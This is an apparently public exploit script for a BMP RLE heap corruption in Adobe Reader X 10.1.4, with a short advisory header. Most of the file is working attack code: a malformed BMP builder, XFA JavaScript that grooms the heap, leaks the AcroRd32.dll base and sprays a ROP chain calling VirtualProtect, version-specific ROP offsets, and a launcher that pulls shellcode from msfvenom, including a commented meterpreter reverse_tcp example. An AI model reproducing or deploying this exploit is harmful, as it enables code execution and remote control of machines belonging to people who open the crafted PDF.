'''
Title: Adobe Reader X BMP/RLE heap corruption
Product: Adobe Reader X
Version: 10.x
Product Homepage: adobe.com
Binary affected: AcroForm.api
Binary Version: 10.1.4.38
Binary MD5: 8e0fc0c6f206b84e265cc3076c4b9841
Configuration Requirements
-----------------------------------------
Default configuration.

Vulnerability Requirements
-----------------------------------------
None.

Vulnerability Description
-----------------------------------------
Adobe Reader X fails to validate the input when parsing an embedded BMP RLE encoded image. Arbitrary code execution in the context of the sandboxed process is proved possible after a malicious embeded bmp image triggers a heap overflow. 


Vulnerability WorkAround (if possible)
-----------------------------------------
Delete AcroForm.api
'''
from minipdf import *
from hashlib import md5
import sys, struct

SLIDESIZE=0x12C

def mkBMP(payload, exception=True):
    bmp = ''
    #getInfoHeader
    bfType = 0x4d42
    assert bfType in [0x4d42,0x4349,0x5043,0x4943,0x5043] #0x4142: not supp
    bmp += struct.pack('<H', bfType)

    bfSize = 0
    bfOffBits = 0
    bmp += struct.pack('<L', bfSize)
    bmp += struct.pack('<H', 0) #Reserved1
    bmp += struct.pack('<H', 0) #Reserved2
    bmp += struct.pack('<L', bfOffBits)


    biSize = 0x40
    assert not biSize in [0x12]
    bmp += struct.pack('<L', biSize)


    biHeight = 1
    biWidth = SLIDESIZE  #size of texture structure LFH enabled
    biPlanes = 1
    biBitCount = 8
    biCompression = 1
    biSizeImage = 0
    biXPelsPerMeter = 0
    biYPelsPerMeter = 0
    biClrUsed = 2
    if biClrUsed >0xff:
        raise "BUG!!!!"

    biClrImportant = 0
    bmp += struct.pack('<L', biWidth)
    bmp += struct.pack('<L', biHeight)
    bmp += struct.pack('<H', biPlanes)
    bmp += struct.pack('<H', biBitCount)
    bmp += struct.pack('<L', biCompression)
    bmp += struct.pack('<L', biSizeImage)
    bmp += struct.pack('<L', biXPelsPerMeter)
    bmp += struct.pack('<L', biYPelsPerMeter)
    bmp += struct.pack('<L', biClrUsed)
    bmp += struct.pack('<L', biClrImportant)
    bmp += 'A'*(biSize-0x40) #pad

    numColors=biClrUsed
    if biClrUsed == 0 or biBitCount < 8:
        numColors = 1<<biBitCount;

    bmp += 'RGBA'*(numColors) #pallete

    bmp += '\x00\x02\xff\x00' * ((0xffffffff-0xff) / 0xff) 

    #while (len(bmp)+10)%0x400 != 0:
    #    bmp += '\x00\x02\x00\x00'

    assert len(payload) < 0x100 and len(payload) >= 3


    bmp += '\x00\x02'+chr(0x100-len(payload))+'\x00' 
    bmp += '\x00'+chr(len(payload))+payload

    if len(payload)&1 :
        bmp += 'P'

    if exception:
        bmp += '\x00\x02\x00\xff'*10    #getting the pointer outside the texture so it triggers an exception
        bmp += '\x00'+chr(10)+'X'*10
    else:
        bmp += '\x00\x01'
        #'\x04X'*(biWidth+2000)+"\x00\x02"
    return bmp

def UEncode(s):
    r = ''
    s += '\x00'*(len(s)%2)
    for i in range(0,len(s),2):
        r+= '\\u%04x'%(struct.unpack('<H', (s[i:i+2]))[0])
    return r
    r = ''
    for c in s:
        r+= '%%%02x'%ord(c)
    return r


def mkXFAPDF(shellcode = '\x90'*0x400+'\xcc'):
    xdp = '''
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/" timeStamp="2012-11-23T13:41:54Z" uuid="0aa46f9b-2c50-42d4-ab0b-1a1015321da7">
<template xmlns:xfa="http://www.xfa.org/schema/xfa-template/3.1/" xmlns="http://www.xfa.org/schema/xfa-template/3.0/">
   <?formServer defaultPDFRenderFormat acrobat9.1static?>
   <?formServer allowRenderCaching 0?>
   <?formServer formModel both?>
   <subform name="form1" layout="tb" locale="en_US" restoreState="auto">
      <pageSet>
         <pageArea name="Page1" id="Page1">
            <contentArea x="0.25in" y="0.25in" w="576pt" h="756pt"/>
            <medium stock="default" short="612pt" long="792pt"/>
            <?templateDesigner expand 1?>
         </pageArea>
         <?templateDesigner expand 1?>
      </pageSet>
      <variables>
         <script name="util" contentType="application/x-javascript">
            // Convenience functions to pack and unpack litle endian an utf-16 strings
            function pack(i){
                var low = (i &amp; 0xffff);
                var high = ((i&gt;&gt;16) &amp; 0xffff);
                return String.fromCharCode(low)+String.fromCharCode(high);
            }
            function unpackAt(s, pos){
                return  s.charCodeAt(pos) + (s.charCodeAt(pos+1)&lt;&lt;16);
            }
            function packs(s){
                result = "";
                for (i=0;i&lt;s.length;i+=2)
                    result += String.fromCharCode(s.charCodeAt(i) + (s.charCodeAt(i+1)&lt;&lt;8));
                    return result;
                }
            function packh(s){
                return String.fromCharCode(parseInt(s.slice(2,4)+s.slice(0,2),16));
                }
            function packhs(s){
                result = "";
                for (i=0;i&lt;s.length;i+=4)
                result += packh(s.slice(i,i+4));
                return result;
            }
            var verbose = 0;
            function message(x){
               if (util.verbose == 1 )
                  xfa.host.messageBox(x);
            }

//ROP0
//7201E63D    XCHG EAX,ESP
//7201E63E    RETN
//ROP1
//7200100A    JMP DWORD PTR DS:[KERNEL32.GetModuleHandle]
//ROP2
//7238EF5C    PUSH EAX
//7238EF5D    CALL DWORD PTR DS:[KERNEL32.GetProcAddress]
//7238EF63    TEST EAX,EAX
//7238EF65    JNE SHORT 7238EF84
//7238EF84    POP EBP
//7238EF85    RETN 4
//ROP3
//72001186    JMP EAX       ; kernel32.VirtualProtect
//ROP4
//72242491    ADD ESP,70
//72242494    RETN


            var _offsets =  {"Reader": { "10.104": {
                                                    "acrord32":    0xA4, 
                                                    "rop0":        0x1E63D,
                                                    "rop1":        0x100A,
                                                    "rop2":        0x38EF5C,
                                                    "rop3":        0x1186,
                                                    "rop4":        0x242491,
                                                    },
                                          "10.105": { // Added by Eddie Mitchell
                                                    "acrord32":    0xA5,
                                                    "rop0":        0x1E52D,
                                                    "rop1":        0x100A,
                                                    "rop2":        0x393526,
                                                    "rop3":        0x1186,
                                                    "rop4":        0x245E71, 
                                                    },
                                          "10.106": { // Added by Eddie Mitchell
                                                    "acrord32":    0xA5,
                                                    "rop0":        0x1E52D,
                                                    "rop1":        0x100A,
                                                    "rop2":        0x393526,
                                                    "rop3":        0x1186,
                                                    "rop4":        0x245E71, 
                                                    },
                                       }, 
                            "Exchange-Pro": {
                                          "10.105": { // Added by Eddie Mitchell
                                                    "acrobat":    0xCD,
                                                    "rop0":        0x3720D,
                                                    "rop1":        0x100A,
                                                    "rop2":        0x3DCC91,
                                                    "rop3":        0x180F,
                                                    "rop4":        0x25F2A1, 
                                                     },
                                             },
                            };

            function offset(x){
                //app.viewerType will be "Reader" for Reader, 
                //"Exchange" for Acrobat Standard or "Exchange-Pro" for Acrobat Pro
                try {
                      return _offsets[app.viewerType][app.viewerVersion][x];
                }
                catch (e) {
                   xfa.host.messageBox("Type:" +app.viewerType+ " Version: "+app.viewerVersion+" NOT SUPPORTED!");
                }
                return 0x41414141;
            }

         </script>
         <script name="spray" contentType="application/x-javascript">
            // Global variable for spraying 
            var slide_size=%%SLIDESIZE%%;
            var size = 200;
            var chunkx = "%%MINICHUNKX%%";
            var x = new Array(size);
            var y = new Array(size);
            var z = new Array(size);
            var pointers = new Array(100);
            var done = 0;
         </script>
         <?templateDesigner expand 1?>
      </variables>
      <subform w="576pt" h="756pt">
         <!-- This image fiel hold the cashing image -->
         <field name="ImageCrash">
            <ui> <imageEdit/> </ui>
            <value>
               <image>%%BMPFREELFH%%</image>
            </value>
         </field>
      </subform>
      <event activity="initialize" name="event__initialize">
         <script contentType="application/x-javascript">
            // This script runs at the very beginning and 
            // is used to prepare the memory layout 
            util.message("Initialize");
            var i; var j;
            if (spray.done == 0){
               //Trigger LFH use
               var TOKEN = "\u5858\u5858\u5678\u1234";
               var chunk_len = spray.slide_size/2-1-(TOKEN.length+2+2);

               for (i=0; i &lt; spray.size; i+=1)
                  spray.x[i] = TOKEN + util.pack(i) +  
                               spray.chunkx.substring(0, chunk_len) + 
                               util.pack(i) + "";

               util.message("Initial spray done!");
               for (j=0; j &lt; 1000; j++)
                  for (i=spray.size-1; i &gt; spray.size/4; i-=10)
                     spray.x[i]=null;

               spray.done = 1;
               util.message("Generating holes done!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!");
            }
            // After this the form layout is rendered and the bug triggered 
         </script>
      </event>
      <event activity="docReady" ref="$host" name="event__docReady">
         <script contentType="application/x-javascript">
            // This script runs once the page is ready 
            util.message("DocReady");
            var i; var j;
            var found = -1;  // Index of the overlapped string
            var acro = 0;    // Base of the AcroRd32_dll

            // Search over all strings for the first one with the broken TOKEN 
            for (i=0; i &lt; spray.size; i+=1)
               if ((spray.x[i]!=null)  &amp;&amp; (spray.x[i][0] != "\u5858")){
                  found = i;
                  acro = (( util.unpackAt(spray.x[i], 14) &gt;&gt; 16) - util.offset("acrord32")) &lt;&lt; 16;
                  util.message("Found! String number "+ found + " has been corrupted acrord32.dll:" + acro.toString(16) );
                  break;
               }
            // Behaviour is mostly undefined if not found 
            if (found == -1){
               util.message("Corrupted String NOT Found!");
               event.target.closeDoc(true);
            }

            // Corrupted string was found let's generates the new 
            // string for overlapping the struct before freeing it
            var chunky = "";
            for (i=0; i &lt; 7; i+=1)
               chunky += util.pack(0x41414141);
            chunky += util.pack(0x10101000);  
            while (chunky.length &lt; spray.slide_size/2)
               chunky += util.pack(0x58585858);

            // Free the overlapping string 
            util.message("Feeing corrupted string! Previous string will we used-free ("+(found)+")");
            for (j=0; j &lt; 100000; j++)
               spray.x[found-1]=spray.x[found]=null;

            // Trigger several allocs that will fall over the structure
            for (i=0; i &lt; 200; i+=1){
               ID = "" + i;
               spray.y[i] = chunky.substring(0,spray.slide_size/2-ID.length) + ID+ "";
            }
            util.message("Allocated 20 chunks-y\\n"); 

            // Heap spraying make's baby jesus cry!
            // Construct the 0x1000 small chunk for spraying 
            var obj = 0x10101000;
            var pointer_slide = ""; 
            pointer_slide += util.pack(acro+util.offset("rop4")); //add esp,70;ret
            for (i=0; i &lt; 27; i+=1)
               pointer_slide += util.pack(0x41414141);
            obj += pointer_slide.length*2;
            // ROP
            pointer_slide += util.pack(acro+util.offset("rop0")); //XCHG EAX,ESP;ret
            pointer_slide += util.pack(acro+util.offset("rop1")); //0x100A jmp getmodule
            pointer_slide += util.pack(acro+util.offset("rop2")); //@0x04 - getProcAddress
            pointer_slide += util.pack(obj+0xDC);                 //@0x08 point to KERNEL32
            //@0x10
            pointer_slide += util.pack(obj+0xCC);
            pointer_slide += util.pack(0x43434343);               // POPPED TO EBP 
            pointer_slide += util.pack(acro+util.offset("rop3")); // JMP EAX
            pointer_slide += util.pack(obj);                      //Points to offset 0 of this
            //@0x20
            pointer_slide += util.pack(obj+0x38);
            pointer_slide += util.pack(obj+0x38);
            pointer_slide += util.pack(0x1000);       //SIZE_T dwSize,
            pointer_slide += util.pack(0x40);         // DWORD flNewProtect,
            //0x30
            pointer_slide += util.pack(obj+0x34);     //PDWORD lpflOldProtect
            pointer_slide += util.pack(0x00000000);   //DWORD OldProtect
            pointer_slide += util.packhs("E9B1000000909090");
            //0x40
            pointer_slide += util.pack(acro);         //Used by next stage
            pointer_slide += util.pack(0xCCCCCCCC);
            pointer_slide += util.pack(0xCCCCCCCC);
            pointer_slide += util.pack(0xCCCCCCCC);
            //0x50
            pointer_slide += util.pack(0xCCCCCCCC);
            pointer_slide += util.pack(0xCCCCCCCC);
            pointer_slide += util.pack(0xCCCCCCCC);
            pointer_slide += util.pack(0xCCCCCCCC);
            //0x60
            pointer_slide += util.pack(0xCCCCCCCC);
            pointer_slide += util.pack(0xCCCCCCCC);
            pointer_slide += util.pack(0xCCCCCCCC);
            pointer_slide += util.pack(0xCCCCCCCC);
            //0x70
            pointer_slide += util.pack(acro);
            pointer_slide += util.pack(0x48484848);
            pointer_slide += util.pack(0x49494949);
            pointer_slide += util.pack(0x49494949);

            //0x80
            pointer_slide += util.pack(0x49494949);
            pointer_slide += util.pack(0x50505050);
            pointer_slide += util.pack(0x46464646);
            pointer_slide += util.pack(0x46464646);
            //0x90
            pointer_slide += util.pack(0x46464646);
            pointer_slide += util.pack(0x46464646);
            pointer_slide += util.pack(0x46464646);
            pointer_slide += util.pack(0x46464646);
            //0xa0
            pointer_slide += util.pack(0x46464646);
            pointer_slide += util.pack(0x46464646);
            pointer_slide += util.pack(0x46464646);
            pointer_slide += util.pack(0x46464646);
            //0xb0
            pointer_slide += util.pack(0x46464646);
            pointer_slide += util.pack(0x46464646);
            pointer_slide += util.pack(0x46464646);
            pointer_slide += util.pack(0x46464646);
            //0xc0
            pointer_slide += util.pack(0x46464646);
            pointer_slide += util.pack(0x46464646);
            pointer_slide += util.pack(0xCCCCCCCC);
            pointer_slide += util.packs("VirtualProtect"); //@0xCC
            pointer_slide += "\u0000";
            pointer_slide += "KERNEL32";
            pointer_slide += "\u0000";
            pointer_slide += "%%SHELLCODE%%";
            while (pointer_slide.length &lt; 0x1000/2)
               pointer_slide += util.pack(0x41414141);
            pointer_slide = pointer_slide.substring(0,0x1000/2);
            util.message("Pointer slide size: " + pointer_slide.length);

            // And now ensure it gets bigger than 0x100000 bytes
            while (pointer_slide.length &lt; 0x100000/2)
               pointer_slide += pointer_slide;
            // And the actual spray 
            for (i=0; i &lt; 100; i+=1)
               spray.pointers[i] = pointer_slide.substring(16, 0x100000/2-16-2)+ util.pack(i) + "";

            // Everything done here close the doc and 
            // trigger the use of the vtable
            util.message("Now what?");
            var pdfDoc = event.target;
            pdfDoc.closeDoc(true);

            </script>
      </event>
   </subform>
   <?originalXFAVersion http://www.xfa.org/schema/xfa-template/2.5/?>
   <?templateDesigner DefaultLanguage JavaScript?>
   <?templateDesigner DefaultRunAt client?>
   <?acrobat JavaScript strictScoping?>
   <?PDFPrintOptions embedViewerPrefs 0?>
   <?PDFPrintOptions embedPrintOnFormOpen 0?>
   <?PDFPrintOptions scalingPrefs 0?>
   <?PDFPrintOptions enforceScalingPrefs 0?>
   <?PDFPrintOptions paperSource 0?>
   <?PDFPrintOptions duplexMode 0?>
   <?templateDesigner DefaultPreviewType interactive?>
   <?templateDesigner DefaultPreviewPagination simplex?>
   <?templateDesigner XDPPreviewFormat 19?>
   <?templateDesigner DefaultCaptionFontSettings face:Myriad Pro;size:10;weight:normal;style:normal?>
   <?templateDesigner DefaultValueFontSettings face:Myriad Pro;size:10;weight:normal;style:normal?>
   <?templateDesigner Zoom 119?>
   <?templateDesigner FormTargetVersion 30?>
   <?templateDesigner SaveTaggedPDF 1?>
   <?templateDesigner SavePDFWithEmbeddedFonts 1?>
   <?templateDesigner Rulers horizontal:1, vertical:1, guidelines:1, crosshairs:0?></template>
<config xmlns="http://www.xfa.org/schema/xci/3.0/">
   <agent name="designer">
      <!--  [0..n]  -->
      <destination>pdf</destination>
      <pdf>
         <!--  [0..n]  -->
         <fontInfo/>
      </pdf>
   </agent>
   <present>
      <!--  [0..n]  -->
      <pdf>
         <!--  [0..n]  -->
         <version>1.7</version>
         <adobeExtensionLevel>5</adobeExtensionLevel>
      </pdf>
      <common/>
      <xdp>
         <packets>*</packets>
      </xdp>
   </present>
</config>
<localeSet xmlns="http://www.xfa.org/schema/xfa-locale-set/2.7/">
   <locale name="en_US" desc="English (United States)">
      <calendarSymbols name="gregorian">
         <monthNames>
            <month>January</month>
            <month>February</month>
            <month>March</month>
            <month>April</month>
            <month>May</month>
            <month>June</month>
            <month>July</month>
            <month>August</month>
            <month>September</month>
            <month>October</month>
            <month>November</month>
            <month>December</month>
         </monthNames>
         <monthNames abbr="1">
            <month>Jan</month>
            <month>Feb</month>
            <month>Mar</month>
            <month>Apr</month>
            <month>May</month>
            <month>Jun</month>
            <month>Jul</month>
            <month>Aug</month>
            <month>Sep</month>
            <month>Oct</month>
            <month>Nov</month>
            <month>Dec</month>
         </monthNames>
         <dayNames>
            <day>Sunday</day>
            <day>Monday</day>
            <day>Tuesday</day>
            <day>Wednesday</day>
            <day>Thursday</day>
            <day>Friday</day>
            <day>Saturday</day>
         </dayNames>
         <dayNames abbr="1">
            <day>Sun</day>
            <day>Mon</day>
            <day>Tue</day>
            <day>Wed</day>
            <day>Thu</day>
            <day>Fri</day>
            <day>Sat</day>
         </dayNames>
         <meridiemNames>
            <meridiem>AM</meridiem>
            <meridiem>PM</meridiem>
         </meridiemNames>
         <eraNames>
            <era>BC</era>
            <era>AD</era>
         </eraNames>
      </calendarSymbols>
      <datePatterns>
         <datePattern name="full">EEEE, MMMM D, YYYY</datePattern>
         <datePattern name="long">MMMM D, YYYY</datePattern>
         <datePattern name="med">MMM D, YYYY</datePattern>
         <datePattern name="short">M/D/YY</datePattern>
      </datePatterns>
      <timePatterns>
         <timePattern name="full">h:MM:SS A Z</timePattern>
         <timePattern name="long">h:MM:SS A Z</timePattern>
         <timePattern name="med">h:MM:SS A</timePattern>
         <timePattern name="short">h:MM A</timePattern>
      </timePatterns>
      <dateTimeSymbols>GyMdkHmsSEDFwWahKzZ</dateTimeSymbols>
      <numberPatterns>
         <numberPattern name="numeric">z,zz9.zzz</numberPattern>
         <numberPattern name="currency">$z,zz9.99|($z,zz9.99)</numberPattern>
         <numberPattern name="percent">z,zz9%</numberPattern>
      </numberPatterns>
      <numberSymbols>
         <numberSymbol name="decimal">.</numberSymbol>
         <numberSymbol name="grouping">,</numberSymbol>
         <numberSymbol name="percent">%</numberSymbol>
         <numberSymbol name="minus">-</numberSymbol>
         <numberSymbol name="zero">0</numberSymbol>
      </numberSymbols>
      <currencySymbols>
         <currencySymbol name="symbol">$</currencySymbol>
         <currencySymbol name="isoname">USD</currencySymbol>
         <currencySymbol name="decimal">.</currencySymbol>
      </currencySymbols>
      <typefaces>
         <typeface name="Myriad Pro"/>
         <typeface name="Minion Pro"/>
         <typeface name="Courier Std"/>
         <typeface name="Adobe Pi Std"/>
         <typeface name="Adobe Hebrew"/>
         <typeface name="Adobe Arabic"/>
         <typeface name="Adobe Thai"/>
         <typeface name="Kozuka Gothic Pro-VI M"/>
         <typeface name="Kozuka Mincho Pro-VI R"/>
         <typeface name="Adobe Ming Std L"/>
         <typeface name="Adobe Song Std L"/>
         <typeface name="Adobe Myungjo Std M"/>
      </typefaces>
   </locale>
   <?originalXFAVersion http://www.xfa.org/schema/xfa-locale-set/2.1/?></localeSet>
<xfa:datasets xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/">
   <xfa:data xfa:dataNode="dataGroup"/>
</xfa:datasets>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.2-c001 63.139439, 2011/06/07-10:39:26        ">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description xmlns:xmp="http://ns.adobe.com/xap/1.0/" rdf:about="">
         <xmp:MetadataDate>2012-11-23T13:41:54Z</xmp:MetadataDate>
         <xmp:CreatorTool>Adobe LiveCycle Designer ES 10.0</xmp:CreatorTool>
         <xmp:ModifyDate>2012-11-23T05:26:02-08:00</xmp:ModifyDate>
         <xmp:CreateDate>2012-11-23T05:15:47-08:00</xmp:CreateDate>
      </rdf:Description>
      <rdf:Description xmlns:pdf="http://ns.adobe.com/pdf/1.3/" rdf:about="">
         <pdf:Producer>Adobe LiveCycle Designer ES 10.0</pdf:Producer>
      </rdf:Description>
      <rdf:Description xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" rdf:about="">
         <xmpMM:DocumentID>uuid:0aa46f9b-2c50-42d4-ab0b-1a1015321da7</xmpMM:DocumentID>
         <xmpMM:InstanceID>uuid:86c66599-7238-4e9f-8fad-fe2cd922afb2</xmpMM:InstanceID>
      </rdf:Description>
      <rdf:Description xmlns:dc="http://purl.org/dc/elements/1.1/" rdf:about="">
         <dc:format>application/pdf</dc:format>
      </rdf:Description>
   </rdf:RDF>
</x:xmpmeta>
<xfdf xmlns="http://ns.adobe.com/xfdf/" xml:space="preserve">
   <annots/>
</xfdf></xdp:xdp>
    '''
    assert len(shellcode) <= 0xF00, 'You need a smaller shellcode, sorry'

    #shellcode
    xdp = xdp.replace('%%SHELLCODE%%', UEncode(shellcode))
    xdp = xdp.replace('%%SLIDESIZE%%',  '0x%x'%SLIDESIZE);
    xdp = xdp.replace('%%MINICHUNKX%%', UEncode('O'*SLIDESIZE))
    xdp = xdp.replace('%%BMPFREELFH%%', mkBMP('\x01\x00\x00\x00\x00\x00'+ chr(0x27)+'\x05', True).encode('base64') )
    #xdp = xdp.replace('%%BMPFREELFH%%', file('/usr/share/pixmaps/nobody.png', 'rb').read().encode('base64'))

    file('%s.log'%(sys.argv[0].split('.')[0]),'wb').write(xdp)
    #The document
    doc = PDFDoc()
    
    #font
    font = PDFDict()
    font['Name'] =  PDFName('F1')
    font['Subtype'] =  PDFName('Type1')
    font['BaseFont'] =  PDFName('Helvetica')

    #name:font map
    fontname = PDFDict()
    fontname['F1'] = font

    #resources
    resources = PDFDict()
    resources['Font'] = fontname
    
    #contents
    contents=  PDFStream('''BT /F1 24 Tf 100 100 Td  (Pedefe Pedefeito Pedefeon!) Tj ET''')
    
    #page
    page = PDFDict()
    page['Type'] = PDFName('Page')
    page['Resources'] = resources
    page['Contents'] =  PDFRef(contents)

    #pages
    pages = PDFDict()
    pages['Type'] =  PDFName('Pages')
    pages['Kids'] =  PDFArray([PDFRef(page)])
    pages['Count'] =  PDFNum(1)

    #add parent reference in page
    page['Parent'] = PDFRef(pages)

    if True:
        xfa = PDFStream(xdp)
        xfa.appendFilter(FlateDecode())
        xfa.appendFilter(FlateDecode())
        doc+=xfa
        #form
        form = PDFDict()
        form['XFA'] = PDFRef(xfa)
        doc+=form
    elif True:
        form = PDFDict()
        array =  PDFArray([])
        cache = {}
        S = len(xdp)
        count = 0
        for i in range(0,len(xdp)+1,S):
            c = xdp[i:i+S]
            xfa = PDFStream(c)
            #xfa.appendFilter(FlateDecode())
            if c in cache.keys():
                ref = cache[c]
            else:
                doc+=xfa
                ref = PDFRef(xfa)
                cache[c] = ref
            array.append(PDFName(1))
            array.append(ref)
            count+=1
        doc+=array
        form['XFA'] = PDFRef(array)
        doc+=form

    else:
        form = PDFDict()
        form['XFA'] =  PDFArray([])
        cache = {}
        while len(xdp) > 0 :
            c = xdp[i:i+S]
            xfa = PDFStream(c)
            #xfa.appendFilter(FlateDecode())
            if c in cache.keys():
                ref = cache[c]
            else:
                doc+=xfa
                ref = PDFRef(xfa)
            form['XFA'].append(PDFName(str(i)))
            form['XFA'].append(ref)
            
        doc+=form

    #catalog
    catalog = PDFDict()
    catalog['Type'] =  PDFName('Catalog')
    catalog['Pages'] =  PDFRef(pages)
    catalog['NeedsRendering'] = PDFBool(True)
    catalog['AcroForm'] =  PDFRef(form)


    adbe = PDFDict()
    adbe['BaseVersion'] = PDFName('1.7')
    adbe['ExtensionLevel'] = PDFNum(3)

    extensions = PDFDict()
    extensions['ADBE'] =  adbe

    catalog['Extensions'] = extensions
    for i in [catalog,pages,page,contents]:
        doc.append(i)
    doc.setRoot(catalog)


    #render it
    return doc.__str__()


if __name__ == '__main__':
    import optparse,os
    from subprocess import Popen, PIPE
    parser = optparse.OptionParser(description='Adobe Reader X 10.1.4 XFA BMP RLE Exploit')
    parser.add_option('--debug', action='store_true', default=False, help='For debugging')
    parser.add_option('--msfpayload', metavar='MSFPAYLOAD', default='windows/messagebox ', help='Metasploit payload. Ex. "win32_exec CMD=calc"')
    parser.add_option('--payload', metavar='PAYLOAD', default=None)
    parser.add_option('--doc', action='store_true', default=False, help='Print detailed documentation')
    (options, args) = parser.parse_args()
 
    if options.doc:
        print __doc__
        os.exit(-1)

    if options.debug:
        print mkXFAPDF(),
        os.exit(-1)
    if options.payload == None:
        #'windows/meterpreter/reverse_tcp LHOST=192.168.56.1 EXITFUNC=process R'
        msfpayload = Popen('msfvenom -f raw -p %s '%options.msfpayload, shell=True, stdout=PIPE)
        shellcode = msfpayload.communicate()[0]
    else:
        shellcode = file(options.payload, 'rb').read() #options.hexpayload.decode('hex')
    print mkXFAPDF(shellcode),